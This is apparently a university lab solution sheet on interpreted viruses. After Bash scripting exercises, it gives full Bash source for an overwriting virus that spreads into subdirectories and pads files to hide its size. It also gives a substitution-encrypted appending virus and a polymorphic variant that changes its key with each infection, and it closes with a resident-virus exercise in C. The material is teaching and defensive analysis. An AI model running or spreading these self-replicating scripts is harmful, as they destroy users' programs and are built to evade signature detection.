University of Perpignan
C. Legrand

L3 Computer Science
Year 2026

Lab Work 3 – Computer Security – Solutions

Interpreted Viruses

Ethical and Legal Disclaimer

The techniques presented in this lab work are studied within a **strictly academic context** in order to understand the mechanisms used by malicious software and thus be better able to defend against them.
Any use of these techniques outside the educational context is illegal and punishable by criminal penalties (Chapter III of the French Penal Code, Articles 323-1 to 323-8 – *Offences against Automated Data Processing Systems*):

- Unauthorized access to or remaining in an ADPS (Art. 323-1): **3 years** imprisonment and **€100,000** fine
- Obstructing the operation of an ADPS (Art. 323-2): **5 years** imprisonment and **€150,000** fine
- Fraudulent introduction of data into an ADPS (Art. 323-3): **5 years** imprisonment and **€150,000** fine

Penalties increased to **7 years** and **€300,000** when the targeted system processes personal data operated by the State, and up to **10 years** and **€300,000** for organized crime (Art. 323-4-1). *Penalties updated by the LOPMI law no. 2023-22 of January 24, 2023.*

1 Some BASH Scripts

Exercise 1. You will write your first script. Don't forget to give the file execution permission before running it.

1. Write a script that displays the following information
   - A sentence containing the user's name and the type of shell being used;
   - The date (use the `date` command).
2. Modify the previous script so that it also indicates the season based on the current date.

Course Reminder

Bash Scripting Basics:
A Bash script is a text file containing a sequence of commands interpreted by the shell. It must start with a **shebang** that specifies the interpreter to use:

```
#!/bin/bash
```

To make a script executable: `chmod +x my_script.sh`

Useful predefined variables:

- `$USER`: current user's name
- `$SHELL`: path to the current shell (e.g., `/bin/bash`)
- `$HOME`: user's home directory
- `$PWD`: current working directory

Command substitution: `$(command)` executes `command` and replaces the expression with its standard output. Example: `month=$(date +%m)` stores the month number in the variable `month`.

Conditional structure:

```
if [ condition ]; then
    commands
elif [ condition ]; then
    commands
fi
```

Integer comparison operators:

Operator	Meaning	Example
`-eq`	Equal to	`[ $a -eq $b ]`
`-ne`	Not equal to	`[ $a -ne $b ]`
`-lt`	Less than	`[ $a -lt $b ]`
`-gt`	Greater than	`[ $a -gt $b ]`
`-le`	Less than or equal to	`[ $a -le $b ]`
`-ge`	Greater than or equal to	`[ $a -ge $b ]`

Combining conditions: `-a` (logical AND), `-o` (logical OR). Example: `[ $a -gt 3 -a $a -le 6 ]`.

Answer 1. *The following script answers the exercise questions:*

```
#!/bin/bash

echo "Hello $USER, you are using the shell $SHELL"
echo "Today is $(date +%D)"

# indicate the season (for simplicity, only the month is considered
mois=$(date +%m)
```

```

if [ $mois -le 3 ]
then
echo "It is winter"
elif [ $mois -gt 3 -a  $mois -le 6 ]
then
echo "It is spring"
elif [ $mois -gt 6 -a  $mois -le 9 ]
then
echo "It is summer"
elif [ $mois -gt 9 -a  $mois -le 12 ]
then
echo "It is autumn"
fi
echo "The processor frequency is:"
cat /proc/cpuinfo | grep GHz | head -n 1 | cut -d "@" -f2
```

Warning

In Bash, there must be ***no spaces*** *around the* `=` *sign when assigning a variable.*

- `mois=$(date +%m)` ✓ *correct*
- `mois = $(date +%m)` × *error: Bash interprets* `mois` *as a command*

However, spaces are ***mandatory*** *inside the test brackets:* `[ $mois -le 3 ]`.

Key Takeaway

- *The* ***shebang*** *(`#!/bin/bash`) on the first line tells the system which interpreter to use.*
- *Predefined variables* `$USER`, `$SHELL`, `$HOME` *provide access to environment information.*
- ***Command substitution*** `$(command)` *captures a command's output into a variable.*
- *Integer comparison operators (`-eq`, `-ne`, `-lt`, `-gt`, `-le`, `-ge`) are Bash-specific and differ from C operators.*

Exercise 2. Recall that the syntax for the while loop in bash is as follows:

```
while test
do
  command(s)
done
```

1. Write a script called `countdown` that prints to standard output something like

```
10
9
8
7
6
5
```

```
4
3
2
1
GO!
```

2. Modify the `countdown` script so that it takes as parameter the number from which to start the countdown.

Course Reminder

The `while` loop in Bash:
The `while` loop executes a block of commands as long as the condition (test) is true (return code 0):

```
while [ condition ]
do
    commands
done
```

Bash arithmetic:

- `$(($var - 1))`: arithmetic evaluation (subtraction)
- `$(($var + 1))`: arithmetic evaluation (addition)
- `let "var=var+1"`: alternative using `let`

Positional parameters and special variables:

Variable	Meaning
`$0`	Name of the currently running script
`$1`, `$2`, ...	1st, 2nd, ... argument passed to the script
`$#`	Number of arguments passed to the script
`$@`	All arguments (as a list)
`$?`	Return code of the last command (0 = success)
`$$`	PID of the current process (the script)
`$!`	PID of the last background process

Answer 2. *The script answering question 1 is as follows*

```
#!/bin/bash
compteur=10
while [ $compteur -gt 0 ]
do
 echo $compteur
 compteur=$(($compteur-1))
done
```

for question 2, simply change the assignment `compteur=10` *to* `compteur=$1`

Key Takeaway

- *The `while` loop tests its condition* ***before*** *each iteration (zero iterations possible if the condition is false from the start).*
- *Bash arithmetic is done via `$((...))`; the standard operators `+`, `-`, `*`, `/`, `%` are available.*
- *`$1` refers to the first argument passed to the script on the command line.*
- ***Parameterization*** *of a script (replacing constants with parameters) makes it reusable in different contexts.*

Exercise 3.

1. Write a bash script that iterates through the contents of a directory and counts the number of regular files and directories, displaying both numbers at the end.
2. (Optional) Write a script that traverses a file tree and outputs to standard output the names of files whose last modification date precedes a date given as parameter.

Course Reminder

The `for` loop in Bash:
The `for` loop iterates over a list of values:

```
for variable in list
do
    commands
done
```

Example: `for file in *` iterates over all files in the current directory.

Bash functions:

```
function function_name {
    commands
    # $1 = first argument of the function
}
function_name arg1 arg2    # call
```

File tests:

Operator	Meaning	Example
`-f`	Regular file	`[ -f "$f" ]`
`-d`	Directory	`[ -d "$f" ]`
`-e`	Exists (file or directory)	`[ -e "$f" ]`
`-x`	Executable	`[ -x "$f" ]`
`-w`	Writable	`[ -w "$f" ]`
`-r`	Readable	`[ -r "$f" ]`
`-s`	Non-zero size (non-empty)	`[ -s "$f" ]`
`-L`	Symbolic link	`[ -L "$f" ]`

The `export` command: makes a variable accessible to child processes (sub-shells, called scripts). Without `export`, a variable is only visible in the current shell.

Answer 3.

- *Question 1.*

```
#!/bin/bash

nbrep=0
nbfic=0

for file in *
do
#echo $file
if [ -f $file ]
then
    nbfic=$(($nbfic+1))
fi
if [ -d $file ]
then
    nbrep=$(($nbrep+1))
fi
done

echo "number of regular files= $nbfic"
echo "number of directories= $nbrep"
```

- *Question 2. A practical solution here is to use a recursive function. For simplicity, we compare the creation date with only the year given as parameter.*

```
#!/bin/bash

anneelim=$1
export anneelim

function rec {
    #echo $1
    for i in *
    do
    if [ -d "$i" ]
    then
        cd $i
        rec $i
    elif [ -f "$i" ]
    then
            # we retrieve the year of
        DT=$(ls --full-time $i | cut -d " " -f6)

        annee=$(echo $DT | cut -d "-" -f1)
        #echo "$DT et $annee"
            # we compare with the year given as script parameter
        if [ $annee -gt  $anneelim ]
        then
        echo "$i was created on $DT and is located in $(pwd)"
        fi
    fi
    done
}

rec ./
```

Warning

Remember to put ***quotes*** *around variables containing file names:* `"$file"` *instead of* `$file`*. If a file name contains spaces (e.g.,* `my file.txt`*), the shell will interpret each word as a separate argument without quotes, causing errors.*

Key Takeaway

- *The loop* `for file in *` *iterates over all files and directories in the current directory.*
- *The tests* `-f` *(regular file) and* `-d` *(directory) allow distinguishing between entry types.*
- ***Recursion*** *in Bash is achieved through functions that call themselves after a* `cd` *into subdirectories.*
- `export` *is essential for a variable to be visible in recursive calls (sub-shells).*
- `ls -full-time` *displays the full last modification date, useful for time-based comparisons.*

2 Bash Virus Programming

Method: During your development and testing, proceed as follows:

- Edit your virus along with a target script (that simply echoes "target") in a working directory.
- To test, copy the virus and the target script into a subdirectory, execute it, and analyze what happened.

For added safety (which we won't do in lab since the viruses created here only spread within the test directory), using a virtual machine is recommended.

Exercise 4 (Improving the `UNIX_OWR` virus)**.**

1. Modify the `UNIX_OWR` virus so that its action extends to subdirectories and only targets executable files, other than the currently infecting file.
2. How can we counter the uniformity of file sizes after infection?

Course Reminder

Anatomy of an overwriting virus in Bash:
An overwriting virus replaces the contents of the target file with its own code via the command `cp $0 $target_file`. This is the simplest type of virus but also the most destructive: the original program is irretrievably lost.

Key commands:

- `cp $0 $file`: copies the currently running script (`$0`) over the target file
- `basename $0`: extracts the file name without the path (e.g., `basename /home/user/virus.sh` → `virus.sh`)

Text diagram – overwriting infection:

```
BEFORE infection:                AFTER infection:
+---------------------+         +---------------------+
| Original program    |         | Virus code          |
| (useful content)    |         | (copy of $0)        |
| ...                 |         | ...                 |
| N lines             |         | M lines (M != N)    |
+---------------------+         +---------------------+

Consequence: the original program is DESTROYED.
The file size changes (N -> M lines).
```

Size uniformity problem: after infection, all infected files have the same size (that of the virus). This is an easily detectable **indicator of compromise** (IoC).

Answer 4. *1. The following code answers the question. We only descend one level into subdirectories.*

```bash
#!/bin/bash

#Overwriter I
for file in *; do #for every file
    if [ -d $file ]; then # if we encounter a directory
        cd $file #we move into this directory
        for file1 in *; do #for every file in the directory
        if [ -x $file1 -a -w $file1 ]; then
                cp "../$0" $file1 #overwrite target file with virus
        fi
        done
        cd ..
    fi
    echo $file
    name1=$(basename $0)
    name2=$(basename "./$file")
    echo "$name1 != $name2 ??"
    if [ "$name1" != "$name2" ]
    then
    echo "oui pour $name2"
    if [  -x $file -a -w $file ]; then
        echo "cp $0 $file"
```

```
                cp $0 $file #overwrite target file with virus
        fi
        fi
done
```

If we wanted to infect the entire file tree of the directory (subdirectories, sub-subdirectories, etc.), we would need to use a recursive function, with copying done from the absolute path containing the infecting file.

Warning

The virus must avoid self-infection! The comparison `basename $0 != basename ./$file` *is essential. Without this check, the command* `cp $0 $0` *would overwrite the virus with itself, potentially corrupting it.*

2. *The technique used here is to add the line* `echo ädding padding lines¨` *to maintain the same number of lines as in the original file.*

```
#!/bin/bash

#Overwritter I
for file in *; do #for every file
    if [ -d $file ]; then # if we encounter a directory
        cd $file #we move into this directory
        for file1 in *; do #for every file in the directory
        if [ -x $file1 -a -w $file1 ]; then
                nbligne=$(wc -l $file | cut -d" " -f 1  )
                cp "../$0" $file1 #overwrite target file with virus
                count=0
            while [ $count -le $(($nbligne - 37)) ]; do
              echo "echo \"on rajoute deslignes\"" >> $file
              count=$(($count+1))
            done
            echo "$count $nbligne $file"
        fi
        done
        cd ..
    fi
    name1=$(basename $0)
    name2=$(basename "./$file")
    echo "$name1 != $name2 ??"
    if [ "$name1" != "$name2" ]
    then
    if [ -x $file -a -w $file -a "$0" != "./$file" ]; then
            nbligne=$(wc -l $file | cut -d" " -f 1  )
            cp $0 $file  #overwrite target file with virus
            count=0
        while [ $count -le $(($nbligne - 37)) ]; do
        echo "echo \"on rajoute deslignes\"" >> $file
        count=$(($count+1))
        done
        echo "$count $nbligne $file"
    fi
    fi
```

```
done
```

Key Takeaway

- *`cp $0 $file` is the core mechanism of an overwriting virus: it copies the virus over the target.*
- *`basename` extracts the file name and prevents self-infection by comparing the virus name with the target name.*
- ***Size uniformity** after infection is an indicator of compromise (IoC): all infected files have the same size as the virus.*
- ***Padding** (`wc -l` + appending lines) preserves the original file size, making the infection harder to detect.*
- *A full recursive traversal would require a recursive function with an absolute path for the virus copy.*

Exercise 5.

1. Write a script that takes a file as argument and applies a character substitution to all or part of the characters. You may use the `tr` command for this.
2. Using the code from the first question, create a version of `vbashp.sh` that adds its previously encrypted code to the target file.
3. In a file containing the encrypted viral code from question 2: prepend a restoration code that
   - selects the encrypted lines,
   - decrypts them and puts them in a temporary file,
   - Executes the temporary file to launch the infection phase.
4. What problem does the resulting virus still suffer from? Propose a strategy to solve this problem.

Course Reminder

The `tr` (translate) command:
`tr` performs character-by-character substitution on standard input:

```
echo "hello" | tr "helo" "HELO"    # outputs HELLO
cat file.txt | tr ["abc"] ["xyz"]    # substitutes a->x, b->y, c
    ->z
```

Monoalphabetic substitution:
Each letter of the plaintext alphabet is replaced by a letter from the cipher alphabet, according to a fixed correspondence table.

Alphabet	Mapping
Plaintext	`abcdefghijklmnopqrstuvwxyz`
Cipher	`hijabcdefgmnopqrstuvwxyzkl`

Example: `echo` (plaintext) → `bjdq` (cipher), `bash` → `ihue`.

Interpreted polymorphism:
A polymorphic virus changes its appearance (encrypted code) with each infection while preserving the same behavior. In an interpreted language (Bash), the viral code is stored **encrypted** in the target file. At execution time:

1. The **decryptor** (in cleartext) extracts and decrypts the viral part
2. The decrypted code is written to a temporary file
3. The temporary file is executed (infection phase)

Achilles' heel: the decryptor remains **in cleartext** in every infected file. This is the weak point that antivirus software can exploit to build a signature.

Answer 5. *1. We perform substitutions using the tr command: the short script below performs a substitution of the file `$1` encoded in `tab1`*

```
tab0="abcdefghijklmnopqrstuvwxyz"
tab1="hijabcdefgmnopqrstuvwxyzkl"

#cat $1 | tr  ["$tab1"] ["$tab0"] > fichier-$$.txt
cat $1 | tr  ["$tab0"] ["$tab1"] > fichier-$$.txt
```

2. We apply this technique to improve the `vbashp.sh` virus encrypted by substitution, prepending it with a restoration code.

```
#!/bin/bash

tab0="abcdefghijklmnopqrstuvwxyz"
tab1="hijabcdefgmnopqrstuvwxyzkl"

tail -n 11  $0 | tr  ["$tab1"] ["$tab0"] > fichier-$$.sh
#cat $1 | tr  ["$tab0"] ["$tab1"] > fichier-$$.txt
chmod u+x fichier-$$.sh
```

```
9  #./fichier-$$.sh # uncomment this part to enable replication
10 exit 0
11
12 #!/ifp/ihue
13
14 bjeq "jqab eqvb"
15
16 cqt f fp *.ue;
17  aq # rqwt vqwu nbu cfjefbtu hxbj n'bzvbpufqp ue
18 fc vbuv  "./$f" != "$0";
19    vebp # uf jfinb != cfjefbt fpcbjvhpv bp jqwtu
20    vhfn -p 9 $0  >> $f; # hgqwv jqab aw xftwu
21 cf
22 aqpb
```

Warning

*The **decryptor** (lines 1-10) is in cleartext in the infected file. This is the weak point of this technique: an antivirus can build a signature from the decryption code, even though the viral code itself changes with each infection.*

3. *The following code answers the question*

```
#!/bin/bash

tab0="abcdefghijklmnopqrstuvwxyz"
tab1="haigbcevrfwnyopjmqdstuxzkl"

#Overwritter I
for file in *; do #for every file
    if [ -x $file -a "$0" != "./$file" -a "$name" != "./$file" ];
    then
    echo "infecting $file by adding encrypted viral code"
        #We add the encrypted viral part
    tail -n 11  $0 | tr  ["$tab1"] ["$tab0"] >> $file
    fi
done
```

4. *The code is given below: there is a restoration part that decrypts the viral code into a temporary file, first adding the name of the infecting script along with the encryption/decryption substitution.*

```
#!/bin/bash

tab0="abcdefghijklmnopqrstuvwxyz"
tab1="haigbcevrfwnyopjmqdstuxzkl"

echo "#!/bin/bash " > .temp1.sh
echo "tab0=\"$tab0\"" >> .temp1.sh
echo "tab1=\"$tab1\"" >> .temp1.sh
echo "name=\"$0\"" >> .temp1.sh
tail -28 $0 | tr  ["$tab0"] ["$tab1"]  >> .temp1.sh
chmod u+x .temp1.sh
./.temp1.sh
```

```
exit 0

#Ohgikicuugi I
jni jczg cl *; sn #onvi unvu jcfacgi
    cj [ -w $jczg -b "$0" != "./$jczg" -b "$lbqg" != "./$jczg" ]; uagl
    gfan "cljgfucnl sg $jczg"
    v=$$
    v=$(($v % 26))
    u=$ube1
    c=0
    kaczg [ $c -zg $v ]; sn
        u=$(gfan $u | ui ["$ube1"] ["$ube0"])
        c=$(($c+1))
    snlg
        #Ol gfibtg bhgf zg fnsg sg igtubvibucnl
    #gfan "#!/ecl/ebta " > $jczg
    gfan "ube0=\"$ube0\"" >> $jczg
    gfan "ube1=\"$u\"" >> $jczg
    gfan 'gfan "#!/ecl/ebta " > .ugqo1.ta' >> $jczg
    gfan 'gfan "ube0=\"$ube0\"" >> .ugqo1.ta' >> $jczg
    gfan 'gfan "ube1=\"$ube1\"" >> .ugqo1.ta' >> $jczg
    gfan 'gfan "lbqg=\"$0\"" >> .ugqo1.ta' >> $jczg
    gfan 'ubcz -l 28 $0 | ui ["$ube0"] ["$ube1"] >> .ugqo1.ta' >> $jczg
    gfan 'faqns v+w .ugqo1.ta' >> $jczg
    gfan './.ugqo1.ta' >> $jczg
    gfan 'gwcu 0' >> $jczg
        gfan "$u"
    ubcz -l 28 $0 | ui ["$u"] ["$ube0"] >> $jczg
    jc
snlg
```

The same code but in cleartext is given below. It propagates by appending, and changes the encryption key with each infection.

- *The code portion* `u=$$ j... i=$((i+1)) done` *is used to randomize the substitution used for encryption.*
- *The code portion consisting of the series of echo statements corresponds to the restoration code.*
- *The addition of encrypted infecting code is done with the command* `tail -n 29 $0 | tr ["$tab1"] ["$tab0"] » $file`.

```
#!/bin/bash
tab0="abcdefghijklmnopqrstuvwxyz"
tab1="haigbcevrfwnyopjmqdstuxzkl"
name="./vbashp-improved-avec-code-chiffre.sh"
#Overwritter I
for file in *; do #for every file
    if [ -x $file -a "$0" != "./$file" -a "$name" != "./$file" ]; then
    echo "infecting $file"
    u=$$
    u=$(($u % 26))
```

```
    t=$tab1
    i=0
    while [ $i -le $u ]; do
        t=$(echo $t | tr ["$tab1"] ["$tab0"])
        i=$(($i+1))
    done
        #We overwrite with the restoration code
    #echo "#!/bin/bash " > $file
    echo "tab0=\"$tab0\"" >> $file
    echo "tab1=\"$t\"" >> $file
    echo 'echo "#!/bin/bash " > .temp1.sh' >> $file
    echo 'echo "tab0=\"$tab0\"" >> .temp1.sh' >> $file
    echo 'echo "tab1=\"$tab1\"" >> .temp1.sh' >> $file
    echo 'echo "name=\"$0\"" >> .temp1.sh' >> $file
    echo 'tail -n 28 $0 | tr ["$tab0"] ["$tab1"] >> .temp1.sh'
   >> $file
    echo 'chmod u+x .temp1.sh' >> $file
    echo './.temp1.sh' >> $file
    echo 'exit 0' >> $file
        echo "$t"
    tail -n 28 $0 | tr ["$t"] ["$tab0"] >> $file
    fi
done
```

Re-infection

The virus has no mechanism to check whether a file is already infected. It will add its code on every execution, increasing the file size indefinitely. This is an easily detectable indicator of compromise.

5. *The problem is managing re-infection; a possible technique is to insert a marker in the encrypted part.*

Key Takeaway

- *The* `tr` *command performs character-by-character substitution, ideal for implementing monoalphabetic encryption in Bash.*
- ***Polymorphism*** *makes each copy of the virus different in binary, preventing signature-based detection of the encrypted viral code.*
- *The* ***random key*** *based on* ***$$*** *(process PID) varies with each execution, generating a different substitution for each infection.*
- *The decryptor remains* ***in cleartext****: this is the Achilles' heel of the interpreted polymorphic virus, exploitable by antivirus software.*
- ***Re-infection*** *(re-infecting an already infected file) is a classic problem solved by adding a marker.*

3 Resident Virus in C

Exercise 6. We will implement some features of a resident virus.

1. Write a C program that regularly refreshes its code, effectively changing its PID. You may use the following functions

```
pid_t fork();
int execlp(const char * application, const char * arg, ... );
sleep(int sec);
```

2. (Optional) Based on the code from question 1, implement a resident virus that monitors the files in a directory, and if one of the files is modified, overwrites it with its own code. (Hint: use functions from `time.h`, `readdir` to traverse a directory, and `stat` to retrieve file information).

Course Reminder

Unix processes and resident viruses:
A **resident virus** stays active in memory after the host program has finished executing. In C under Unix, this is implemented using process management primitives.

Key POSIX functions:

Function	Description
`fork()`	Creates a child process identical to the parent. Returns 0 in the child, the child's PID in the parent, -1 on error.
`execlp(app, arg, ...)`	Replaces the current process with the program `app`. The process keeps the same PID.
`sleep(sec)`	Suspends execution for `sec` seconds.
`getpid()`	Returns the PID of the current process.
`readdir()`	Reads entries from an opened directory.
`stat()`	Retrieves file metadata (size, dates, permissions).

Refreshing principle: the virus performs a `fork()` followed by an `execlp()` of itself, which creates a new process with a new PID. The parent process terminates, making PID-based detection more difficult. A `sleep()` between each cycle reduces CPU consumption and makes the virus more stealthy.